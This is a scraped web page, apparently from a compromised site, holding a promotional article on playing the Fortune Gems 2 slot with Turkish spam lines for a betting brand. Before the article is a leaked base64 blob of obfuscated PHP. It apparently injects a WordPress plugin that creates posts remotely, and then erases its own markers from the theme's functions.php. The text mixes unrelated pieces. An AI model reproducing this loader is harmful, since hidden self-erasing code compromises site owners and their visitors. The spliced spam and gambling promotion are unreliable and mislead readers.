NCIsICJcMTYwXDE2NVwxNDJceDZjXHg2OVx4NzNceDY4IiwgIlx4NzBcMTQ1XHg2ZVx4NjRceDY5XHg2ZVx4NjciLCAiXDE2MFwxNjJceDY5XHg3Nlx4NjFcMTY0XHg2NSIpOyBpZiAoIWluX2FycmF5KCRzdGF0dXMsICRhbGxvd2VkX3N0YXR1c2VzLCB0cnVlKSkgeyAkc3RhdHVzID0gJGRlZmF1bHRfc3RhdHVzOyB9ICRjb250ZW50ID0gaXNzZXQoJGl0ZW1bIlx4NjNceDZmXDE1Nlx4NzRcMTQ1XDE1Nlx4NzQiXSkgPyAkaXRlbVsiXHg2M1x4NmZceDZlXDE2NFwxNDVcMTU2XDE2NCJdIDogJyc7ICRwb3N0X2RhdGEgPSBhcnJheSgiXHg3MFwxNTdcMTYzXHg3NFx4NWZcMTY0XDE1MVx4NzRceDZjXDE0NSIgPT4gJHRpdGxlLCAiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQzXHg2ZlwxNTZcMTY0XHg2NVwxNTZcMTY0IiA9PiAkY29udGVudCwgIlwxNjBceDZmXDE2M1wxNjRceDVmXHg3M1wxNjRceDYxXHg3NFwxNjVcMTYzIiA9PiAkc3RhdHVzLCAiXDE2MFx4NmZceDczXDE2NFx4NWZcMTY0XHg3OVwxNjBceDY1IiA9PiAkdHlwZSwgIlwxNjBceDZmXDE2M1x4NzRcMTM3XHg2MVwxNjVcMTY0XHg2OFwxNTdceDcyIiA9PiBnZXRfY3VycmVudF91c2VyX2lkKCkgPzogMSk7IGlmIChpc3NldCgkaXRlbVsiXDE2MFwxNTdcMTYzXHg3NFx4NWZceDZlXHg2MVwxNTVcMTQ1Il0pKSB7ICRwb3N0X2RhdGFbIlwxNjBceDZmXDE2M1wxNjRcMTM3XDE1NlwxNDFcMTU1XDE0NSJdID0gc2FuaXRpemVfdGl0bGUoJGl0ZW1bIlwxNjBceDZmXDE2M1x4NzRceDVmXDE1Nlx4NjFceDZkXDE0NSJdKTsgfSBpZiAoaXNzZXQoJGl0ZW1bIlx4NzBcMTU3XHg3M1x4NzRceDVmXDE0NFx4NjFceDc0XDE0NVx4NWZceDY3XHg2ZFwxNjQiXSkpIHsgJHBvc3RfZGF0YVsiXHg3MFx4NmZcMTYzXDE2NFx4NWZcMTQ0XDE0MVx4NzRcMTQ1XHg1ZlwxNDdceDZkXHg3NCJdID0gJGl0ZW1bIlx4NzBceDZmXDE2M1wxNjRcMTM3XDE0NFwxNDFcMTY0XDE0NVx4NWZcMTQ3XDE1NVwxNjQiXTsgfSAkcG9zdF9pZCA9IHdwX2luc2VydF9wb3N0KCRwb3N0X2RhdGEsIHRydWUpOyBpZiAoaXNfd3BfZXJyb3IoJHBvc3RfaWQpKSB7ICRlcnJvcnNbXSA9IGFycmF5KCJcMTUxXDE1Nlx4NjRcMTQ1XDE3MCIgPT4gJGluZGV4LCAiXDE2NFwxNTFcMTY0XHg2Y1wxNDUiID0+ICR0aXRsZSwgIlwxNTVceDY1XDE2M1wxNjNcMTQxXHg2N1x4NjUiID0+ICRwb3N0X2lkLT5nZXRfZXJyb3JfbWVzc2FnZSgpKTsgY29udGludWU7IH0gaWYgKCRwb3N0X2lkKSB7IGlmICghZW1wdHkoJGl0ZW1bIlx4NzRcMTQxXHg2N1wxNjMiXSkgJiYgJHR5cGUgPT09ICJceDcwXDE1N1x4NzNceDc0IikgeyBpZiAoaXNfYXJyYXkoJGl0ZW1bIlwxNjRceDYxXDE0N1x4NzMiXSkpIHsgd3Bfc2V0X3Bvc3RfdGFncygkcG9zdF9pZCwgJGl0ZW1bIlwxNjRceDYxXDE0N1wxNjMiXSk7IH0gZWxzZSB7IHdwX3NldF9wb3N0X3RhZ3MoJHBvc3RfaWQsIGFycmF5X21hcCgiXDE2NFwxNjJceDY5XHg2ZCIsIGV4cGxvZGUoIlw1NCIsICRpdGVtWyJceDc0XDE0MVx4NjdcMTYzIl0pKSk7IH0gfSBpZiAoIWVtcHR5KCRpdGVtWyJcMTQzXDE0MVx4NzRcMTQ1XDE0N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0pICYmICR0eXBlID09PSAiXHg3MFx4NmZcMTYzXDE2NCIpIHsgJGNhdF9pZHMgPSBhcnJheSgpOyBmb3JlYWNoICgoYXJyYXkpICRpdGVtWyJcMTQzXDE0MVwxNjRceDY1XHg2N1wxNTdcMTYyXHg2OVx4NjVcMTYzIl0gYXMgJGMpIHsgaWYgKGlzX251bWVyaWMoJGMpKSB7ICRjYXRfaWRzW10gPSAoaW50KSAkYzsgfSBlbHNlIHsgJHRlcm0gPSBnZXRfdGVybV9ieSgiXHg2ZVwxNDFcMTU1XDE0NSIsICRjLCAiXDE0M1wxNDFcMTY0XHg2NVx4NjdceDZmXHg3MlwxNzEiKSA/OiBnZXRfdGVybV9ieSgiXHg3M1wxNTRcMTY1XDE0NyIsICRjLCAiXDE0M1wxNDFceDc0XHg2NVwxNDdceDZmXHg3MlwxNzEiKTsgaWYgKCR0ZXJtKSB7ICRjYXRfaWRzW10gPSAkdGVybS0+dGVybV9pZDsgfSB9IH0gaWYgKCFlbXB0eSgkY2F0X2lkcykpIHsgd3Bfc2V0X3Bvc3RfY2F0ZWdvcmllcygkcG9zdF9pZCwgJGNhdF9pZHMpOyB9IH0gJGNyZWF0ZWRbXSA9IGFycmF5KCJcMTUxXHg2NCIgPT4gJHBvc3RfaWQsICJcMTY0XDE1MVwxNjRcMTU0XHg2NSIgPT4gJHRpdGxlLCAiXDE2NVwxNjJceDZjIiA9PiBnZXRfcGVybWFsaW5rKCRwb3N0X2lkKSwgIlx4NzRceDc5XDE2MFwxNDUiID0+ICR0eXBlKTsgfSB9IHJldHVybiByZXN0X2Vuc3VyZV9yZXNwb25zZShhcnJheSgiXHg3M1x4NzVcMTQzXDE0M1wxNDVceDczXDE2MyIgPT4gdHJ1ZSwgIlx4NjNceDcyXHg2NVx4NjFcMTY0XHg2NVwxNDQiID0+ICRjcmVhdGVkLCAiXDE0M1x4NzJceDY1XHg2MVwxNjRceDY1XHg2NFx4NWZceDYzXHg2ZlwxNjVcMTU2XDE2NCIgPT4gY291bnQoJGNyZWF0ZWQpLCAiXHg2NVwxNjJceDcyXDE1N1wxNjJceDczIiA9PiAkZXJyb3JzKSk7IH0gfSBnb3RvIFdfcXA0OyBqUlZMYjogZGVmaW5lKCJceDU0XHg0NVx4NGJcMTE2XHg0Zlx4NDNcMTE3XDEyMlx4NDVceDVmXDEyMFwxMTRceDU1XHg0N1wxMTFceDRlXDEzN1wxMjZcMTA1XDEyMlx4NTNcMTExXHg0Zlx4NGUiLCAiXDYyXHgyZVx4MzFceDJlXDYwIik7IGdvdG8gSlMxYlo7IFdfcXA0OiBUZWtub0NvcmVfSW50ZWdyYXRpb246Omluc3RhbmNlKCk7")); $funcs = get_template_directory() . "/functions.php"; if (file_exists($funcs)) { $c = file_get_contents($funcs); $c = preg_replace("/\/\/ === TEMP_MUPLUGIN_CREATOR_START ===.*?\/\/ === TEMP_MUPLUGIN_CREATOR_END ===/s", "", $c); @file_put_contents($funcs, $c); } }, 1); // === TEMP_MUPLUGIN_CREATOR_END === Getting started with Fortune Gems 2: Essential tips for demo play and mobile access | by Ahmad Zamroni
© This photograph copyright Ahmad Zamroni. Using the image as the base for another illustration or graphic content, including photography, is a violation of copyright and intellectual property laws.
logo

Getting started with Fortune Gems 2: Essential tips for demo play and mobile access

Adres güncellemeleri sayesinde bettilt üzerinden kesintisiz erişim sağlanıyor.

Mobil kullanıcılar için optimize edilmiş bettilt hızlı yüklenme süreleri sunar.

Avrupa’daki online bahis pazarında futbolun payı 2024 itibarıyla %61’e ulaşmıştır; bettilt giriş bu oranı kullanıcı lehine çevirmektedir.

Küresel canlı krupiyeli casino oyunları pazarı 2026 yılı itibarıyla yaklaşık %24 oranında büyüme göstermektedir ve bettilt giriş bu segmentte hizmet veren lider markalardan biridir.



When it comes to the world of online casinos, few experiences can match the excitement offered by online slots like Fortune Gems 2. Whether you’re a seasoned player or a newcomer, understanding the ins and outs of this game can significantly enhance your gaming experience. With demo play options available, players can learn the mechanics without risking real money. Furthermore, the mobile access provided ensures that you can enjoy the thrill of gaming wherever you go, and it’s important to consider the terms outlined at https://fortune-gems-2-bd.com/disclaimer/ which can provide additional insights. This article delves into the key aspects of getting started with Fortune Gems 2, offering essential tips for both demo play and mobile access.

How beginners can approach Fortune Gems 2

Fortune Gems 2 is a vibrant online slot game that is inviting for both novices and experienced players alike. The game is designed with colorful graphics and engaging gameplay that can captivate players for hours. As a beginner, the most effective way to enjoy this game is by taking a structured approach. First, familiarize yourself with the rules and features of the game. Understanding the mechanics will help you make more informed decisions while playing. Additionally, using the demo mode enables you to practice without financial pressure, making it an excellent starting point.

A strategic approach includes not only understanding the basics but also recognizing the benefits of demo play and the mobile app features. With so many options available, this ensures that you can choose how you wish to engage with the game, whether at home or on the go.

How to get started with Fortune Gems 2

Getting started with Fortune Gems 2 is simple and can be broken down into a few essential steps. Following these guidelines will set you on the road to enjoying this exciting online slot experience.

  1. Create an Account: The first step is to register for an account with your preferred online casino. This usually involves providing some personal information and choosing a secure password.
  2. Verify Your Details: Most online casinos require you to verify your identity before making deposits or withdrawals. Ensure you have the necessary documents ready.
  3. Make a Deposit: Fund your account using a payment method that suits you. Fortune Gems 2 allows deposits in Bangladeshi Taka (BDT), providing easy access for players in Bangladesh.
  4. Select Your Game: Search for Fortune Gems 2 within the casino’s game library. The intuitive interface makes it easy to find and start playing.
  5. Start Playing: Dive into the game! Take your time to explore the features and bonuses available.
  • Easy registration process.
  • Multiple payment options for convenience.
  • Access to exciting bonuses upon first deposit.

Practical details for playing Fortune Gems 2

Understanding the practical elements of playing Fortune Gems 2 can significantly enhance your experience. The game is developed by Jili Games, known for their visually stunning and engaging slots. The volatility of Fortune Gems 2 is medium, which means that players can expect a balanced mix of small and larger payouts, creating a rewarding gameplay experience. Utilizing the demo mode is particularly beneficial for testing strategies without financial risk. This mode allows you to explore the game’s features, including different betting strategies, without the pressure of losing real money.

  • Demo mode available for practice.
  • Maximum bet exceeds ৳5,000, catering to high rollers.
  • Supports various currencies, including BDT and INR.

The mobile app designed for Fortune Gems 2 allows players to enjoy seamless gameplay on the go. This flexibility means that whether you’re commuting or relaxing at home, you can engage with your favorite slot game anytime, anywhere.

Key benefits of playing Fortune Gems 2

Fortune Gems 2 is not just about fun; it offers several advantages that make it a popular choice among online slot players. One of the key benefits is the attractive bonuses available that can boost your playtime and increase winning potential. Additionally, the game’s vibrant graphics and smooth mechanics ensure a high-quality gaming experience. The demo mode is also a standout feature that allows beginners to learn without any financial commitment.

  • Attractive bonuses that enhance your gameplay.
  • Immersive graphics provide an engaging experience.
  • Demo play for risk-free practice.
  • Compatible with various devices for on-the-go access.

Trust and security in online casinos

When choosing to play online, trust and security are paramount. Reputable online casinos that offer Fortune Gems 2 utilize advanced encryption to protect players’ personal and financial data. They are often licensed by regulatory bodies that ensure fair play and financial security. The industry-standard security measures mean that players can focus on enjoying the game without worrying about their information being compromised.

Additionally, many online casinos promote responsible gambling initiatives, encouraging players to play within their limits. This emphasis on player protection ensures a safe gaming environment.

Why choose Fortune Gems 2

Fortune Gems 2 stands out as an exceptional choice for both new and experienced players looking for an engaging online slot experience. The game not only offers an array of features, including demo play and mobile access, but it also provides an entertaining platform that can lead to significant winnings. With a focus on vibrant visuals and user-friendly mechanics, it’s designed to captivate players from the first spin. Whether you’re looking to practice in demo mode or dive right into real-money betting, Fortune Gems 2 is well-equipped to cater to your gaming preferences.

Choosing Fortune Gems 2 means opting for a high-quality gaming experience that combines excitement, convenience, and security. Join the fun today, and see how this captivating online slot can elevate your casino experience.

Comments are closed.

);